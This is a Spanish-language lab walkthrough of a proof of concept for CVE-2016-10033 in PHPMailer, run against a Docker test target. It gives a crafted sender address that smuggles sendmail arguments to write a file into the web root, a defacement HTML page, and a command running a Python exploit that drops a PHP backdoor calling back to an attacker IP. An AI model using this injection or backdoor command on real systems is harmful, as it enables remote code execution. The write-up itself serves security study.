
Prueba de concepto para el CVE-2016-10033 (PHPMailer)
Primero, pongamos en marcha la aplicación vulnerable
Comando: docker pull vulnerables/cve-2016-10033


Ahora puede acceder al sitio web vulnerable en localhost:8080 desde el navegador web.

Entrada de nombre: OSEC (puede ser cualquier cadena, esto no afecta al exploit)
Correo electrónico del remitente manipulado: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
El funcionamiento de este correo electrónico del remitente manipulado se explica en detalle en la sección de descripción del vector de ataque. En cuanto a los parámetros específicos, el segundo parámetro -oQ/tmp especifica el directorio de cola y el tercer parámetro, -X/www/pwn.html especifica la ubicación del archivo de registro que se va a escribir.
Si no se especifica el directorio de cola, el proceso sendmail intentaría acceder al directorio de cola de correo predeterminado (/var/spool/mqueue-client/) que estaría protegido para evitar el acceso no autorizado y la manipulación, lo cual es una medida de seguridad común. Para evitar este problema de permisos, debe especificar un directorio de cola donde el usuario que ejecuta el script PHP tenga permisos de escritura. Comúnmente se usa un directorio como /tmp porque suele ser escribible por todos los usuarios.
Si el cuerpo del correo electrónico contiene código PHP y el archivo de registro especificado se coloca en un directorio accesible desde la web, el atacante puede ejecutar el código PHP accediendo al archivo de registro a través de un navegador web, lo que resulta en una ejecución remota de código.
Entrada de mensaje: Este es solo un archivo HTML de ejemplo que un atacante podría subir. Por supuesto, el atacante podría subir algo mucho peor, como una puerta trasera, que haremos en el siguiente método de explotación.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> especifica la URL objetivo
-cf -> especifica la ubicación del formulario de contacto dentro de la URL especificada en -url. (En nuestro caso es exactamente la misma que -url, así que solo incluimos una barra inclinada)
-ip -> especifica la IP del atacante para que la puerta trasera se conecte de vuelta
-d -> especifica el directorio relativo para subir el archivo PHP de la puerta trasera
--post-action -> El atributo name del campo oculto
--post-msg -> El atributo name del campo de entrada de mensaje
Nota: La razón por la que tenemos que especificar --post-action como “submit” y --post-msg como “message” es porque en la aplicación vulnerable que estamos usando, el atributo name es diferente de los valores predeterminados usados en el script de exploit de Python.
Los atributos name en la aplicación vulnerable:

Los atributos name predeterminados especificados en el script:


En la imagen anterior puede ver que el programa está intentando acceder a http://127.0.0.1:8080//www/phpbackdoor9284.php, lo cual es obviamente incorrecto por el //www. Esto no funcionará porque en este sitio web vulnerable /www es la raíz del sitio web, por lo tanto, no se puede ir a http://127.0.0.1:8080/www ya que http://127.0.0.1:8080 ya está en /www.
También en la imagen a continuación podemos ver que el exploit en realidad funcionó porque phpbackdoor9284.php se ha creado exitosamente en el directorio. Por lo tanto, el único problema era cómo eliminar ese //www de la URL.

Al inspeccionar más a fondo el script de Python, logramos localizar la variable BACKDOOR_URL que especifica la URL al archivo PHP de la puerta trasera.
En la variable podemos ver que el directorio de destino que especificamos (args.TARGET_UP_DIR) se está concatenando junto con la variable BACKDOOR_FILE.
Para solucionar el problema, necesitamos eliminar eso y la barra inclinada adicional.
Antes:

Después:

